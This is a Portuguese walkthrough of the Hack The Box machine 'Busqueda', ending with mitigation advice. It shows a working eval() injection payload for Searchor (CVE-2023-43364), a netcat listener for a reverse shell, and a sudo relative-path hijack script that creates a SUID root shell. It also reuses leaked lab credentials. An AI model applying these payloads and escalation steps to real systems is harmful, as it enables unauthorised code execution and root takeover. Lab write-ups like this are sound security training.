0xEtern4lW0lf
Hack The BoxEasyLinux

Busqueda

8 min de leitura
#Searchor#RCE#Python#Sudo#PATH Hijacking#Docker#Gitea#Password Reuse#CVE-2023-43364#SSH

Introdução

Busqueda é uma máquina Linux de dificuldade Easy da plataforma Hack The Box. O desafio gira em torno de uma aplicação web em Flask/Python chamada Searcher, que por baixo dos panos utiliza a ferramenta de linha de comando Searchor para gerar links de pesquisa. Essa ferramenta possui uma vulnerabilidade crítica de injeção de código via eval() (CVE-2023-43364), que permite obter execução remota de comandos. A partir do acesso inicial, o caminho até o root passa por reutilização de credenciais, um servidor Gitea interno e um script Python executado via sudo com uma referência relativa insegura. IP alvo: 10.10.11.208

Escaneamento

O primeiro passo foi mapear os serviços expostos com nmap:

ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.208 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.208

O resultado mostrou apenas duas portas abertas:

  • 22/tcp — SSH (OpenSSH)
  • 80/tcp — HTTP (Apache + Werkzeug/Python), com redirecionamento para o domínio searcher.htb

Enumeração

Como a resposta HTTP redirecionava para um nome de domínio, o host searcher.htb foi adicionado ao /etc/hosts apontando para 10.10.11.208. Navegando até http://searcher.htb, a aplicação se apresenta como um “buscador unificado” chamado Searcher: o usuário escolhe um mecanismo de busca (Google, GitHub, YouTube etc.) e um termo, e a página gera/retorna um link de pesquisa pronto, com opção de redirecionamento automático. Alguns pontos relevantes identificados na enumeração:

  • O cabeçalho Server da resposta HTTP (Werkzeug/Python) e a página de erro 404 padrão indicam que se trata de uma aplicação Flask.
  • O rodapé da página e o comportamento da geração de links deixam claro que a aplicação usa por trás dos panos o pacote/CLI Python Searchor, responsável por montar as URLs de busca para cada engine.
  • Um brute-force de diretórios (feroxbuster) contra o servidor não revelou nada além do próprio endpoint /search (que aceita apenas POST, retornando 405 em GET) e do /server-status padrão do Apache. Com isso, o alvo estava claro: a aplicação Searcher, construída em cima da ferramenta Searchor.

Exploração

Aplicação e vulnerabilidade identificadas

  • Aplicativo vulnerável: Searcher (aplicação Flask) que utiliza internamente o pacote Searchor.
  • CVE: CVE-2023-43364 — “Searchor CLI’s Search vulnerable to Arbitrary Code using Eval”, afetando o Searchor em versões ≤ 2.4.1 (corrigida na 2.4.2).
  • Causa raiz: no código-fonte do Searchor (src/searchor/main.py), o comando de busca da CLI monta a URL de resultado usando eval() sobre uma f-string construída diretamente com o input do usuário:
url = eval(
    f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)

Como o parâmetro query é concatenado sem nenhuma sanitização, é possível quebrar a string literal e injetar código Python arbitrário, que será executado pelo eval().

Prova de conceito local

Para validar a injeção com segurança antes de atacar o alvo, o Searchor 2.4.0 foi instalado localmente em um ambiente virtual Python (venv):

python -m venv venv
source venv/bin/activate
pip install searchor==2.4.0

Testando o comando search, uma aspa simples já quebra a sintaxe do eval, confirmando a injeção:

searchor search GitHub "0xdf'"

Após alguns ajustes de sintaxe, o seguinte payload fecha corretamente a string e concatena uma chamada Python arbitrária:

' + __import__('os').popen('id').read() + '

Isso faz o eval executar efetivamente:

Engine.GitHub.search('' + __import__('os').popen('id').read() + '', copy_url=False, open_web=False)

E o resultado do comando id é retornado (URL-encoded) dentro da própria URL de busca gerada.

Execução remota de comandos no alvo

Com o payload validado localmente, o próximo passo foi reproduzir a injeção contra a aplicação real:

  1. A requisição POST /search foi capturada em um proxy de interceptação (Burp Suite) e enviada ao Repeater.
  2. O parâmetro query foi substituído pelo payload de injeção, URL-encodando apenas o conteúdo necessário para não quebrar o parsing da requisição.
  3. O id inicial confirmou execução de código no servidor. Em seguida, o payload foi trocado por uma reverse shell em Bash.
  4. Com um listener nc -lnvp 443 aguardando, o envio da requisição retornou uma shell como o usuário svc. Depois de obter o shell, ele foi estabilizado com o truque clássico de script/stty, e a flag de usuário foi coletada em /home/svc/user.txt.

Pós-exploração

Enumeração como svc

No diretório home de svc, o arquivo .gitconfig revelou o nome real do usuário associado à conta de serviço:

[user]
        email = cody@searcher.htb
        name = cody
[core]
        hooksPath = no-hooks

O código-fonte da aplicação, em /var/www/app, é versionado com Git. O arquivo .git/config guardava credenciais em texto claro para um repositório remoto:

[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git

Isso revelou um novo vhost, gitea.searcher.htb, adicionado ao /etc/hosts, e credenciais válidas do usuário cody para uma instância Gitea interna.

Reutilização de credenciais e sudo

O comando sudo -l como svc pedia senha. Como svc corresponde ao usuário cody, a senha do Gitea de cody (jh1usoih2bkjaspwe92) foi reaproveitada com sucesso para autenticar o sudo:

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

O arquivo /opt/scripts/system-checkup.py tem permissão -rwx--x--x, ou seja, svc não consegue nem ler nem executar diretamente o script — só pode rodá-lo via sudo.

Descobrindo o conteúdo do script via Docker e MySQL

Executando o script via sudo com diferentes argumentos, ficou claro que ele aceita três ações: docker-ps, docker-inspect e full-checkup.

  • docker-ps listou dois containers em execução: gitea/gitea e mysql:8.
  • docker-inspect '{{json .}}' gitea expôs as variáveis de ambiente do container, incluindo a senha do banco de dados do Gitea:
GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh
  • Usando docker-inspect novamente para descobrir o IP interno do container mysql_db, foi possível conectar diretamente ao MySQL com as credenciais do Gitea e consultar a tabela user do banco gitea, confirmando os usuários administrator e cody. A senha do banco (yuiu1hoiu4i5ho1uh) foi então testada como senha do usuário administrator no próprio Gitea — reutilização de credenciais que funcionou. Com acesso de administrador ao Gitea, um repositório privado chamado scripts revelou o código-fonte completo de system-checkup.py.

Analisando o código-fonte de system-checkup.py

A leitura do código mostrou que as ações docker-ps e docker-inspect usam subprocess.run de forma segura (sem shell), mas a ação full-checkup faz o seguinte:

elif action == 'full-checkup':
    try:
        arg_list = ['./full-checkup.sh']
        print(run_command(arg_list))
        print('[+] Done!')
    except:
        print('Something went wrong')
        exit(1)

O script tenta executar ./full-checkup.sh a partir do diretório de trabalho atual, usando um caminho relativo em vez de um caminho absoluto. Isso é explorável: se um arquivo full-checkup.sh for criado em um diretório gravável por svc e o sudo for executado a partir desse mesmo diretório, o script malicioso será executado como root.

Escalando para root

cd /dev/shm
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/rootbash\nchmod 4777 /tmp/rootbash' > full-checkup.sh
chmod +x full-checkup.sh
sudo python3 /opt/scripts/system-checkup.py full-checkup

O script malicioso copia o /bin/bash para /tmp/rootbash e aplica o bit SUID, criando uma bash com privilégios de root:

/tmp/rootbash -p

Com o -p (para não descartar privilégios), o shell resultante já roda como root, permitindo ler a flag em /root/root.txt.

Anexos

Ferramentas e recursos utilizados ao longo do writeup:

  • nmap — varredura de portas e detecção de serviços/versões
  • feroxbuster — brute-force de diretórios/endpoints web
  • Burp Suite (Proxy + Repeater) — interceptação e manipulação da requisição POST /search para exploração da injeção
  • Ambiente virtual Python (venv) + pip install searchor==2.4.0 — reprodução local da vulnerabilidade antes de atacar o alvo
  • nc (netcat) — listener para receber a reverse shell
  • Gitea (interface web) — leitura do repositório privado com o código-fonte de system-checkup.py
  • Cliente mysql — consulta direta ao banco de dados do Gitea
  • sudo python3 /opt/scripts/system-checkup.py — abuso da ação full-checkup para escalonamento de privilégios

Mitigação

  • Atualizar o Searchor para a versão 2.4.2 ou superior, que remove o uso de eval() na CLI e resolve a CVE-2023-43364.
  • Nunca usar eval()/exec() sobre entrada de usuário. Para mapear um nome de engine para seu método de busca, usar uma estrutura de dados segura (dicionário/enum com getattr), nunca interpolação de string seguida de avaliação dinâmica.
  • Não reutilizar senhas entre serviços e contas. Neste caso a mesma senha circulou entre o Gitea de cody, o sudo de svc e a senha do banco de dados do Gitea reaproveitada para a conta administrator — qualquer vazamento pontual comprometeu toda a cadeia.
  • Nunca versionar credenciais em .git/config ou em qualquer arquivo de configuração em texto claro. Usar variáveis de ambiente/gerenciadores de segredos e adicionar arquivos sensíveis ao .gitignore.
  • Evitar caminhos relativos em scripts privilegiados. system-checkup.py deveria referenciar full-checkup.sh por caminho absoluto (e idealmente validar sua integridade/permissões) para não depender do diretório de trabalho de quem o invoca via sudo.
  • Restringir ao máximo as regras de sudoers. Evitar coringas (*) que permitam passar argumentos arbitrários para um script; se possível, usar sudo apenas para binários específicos sem parâmetros livres.
  • Não expor segredos em docker inspect/variáveis de ambiente de containers acessíveis a usuários de baixo privilégio; preferir mecanismos de secrets management do próprio orquestrador.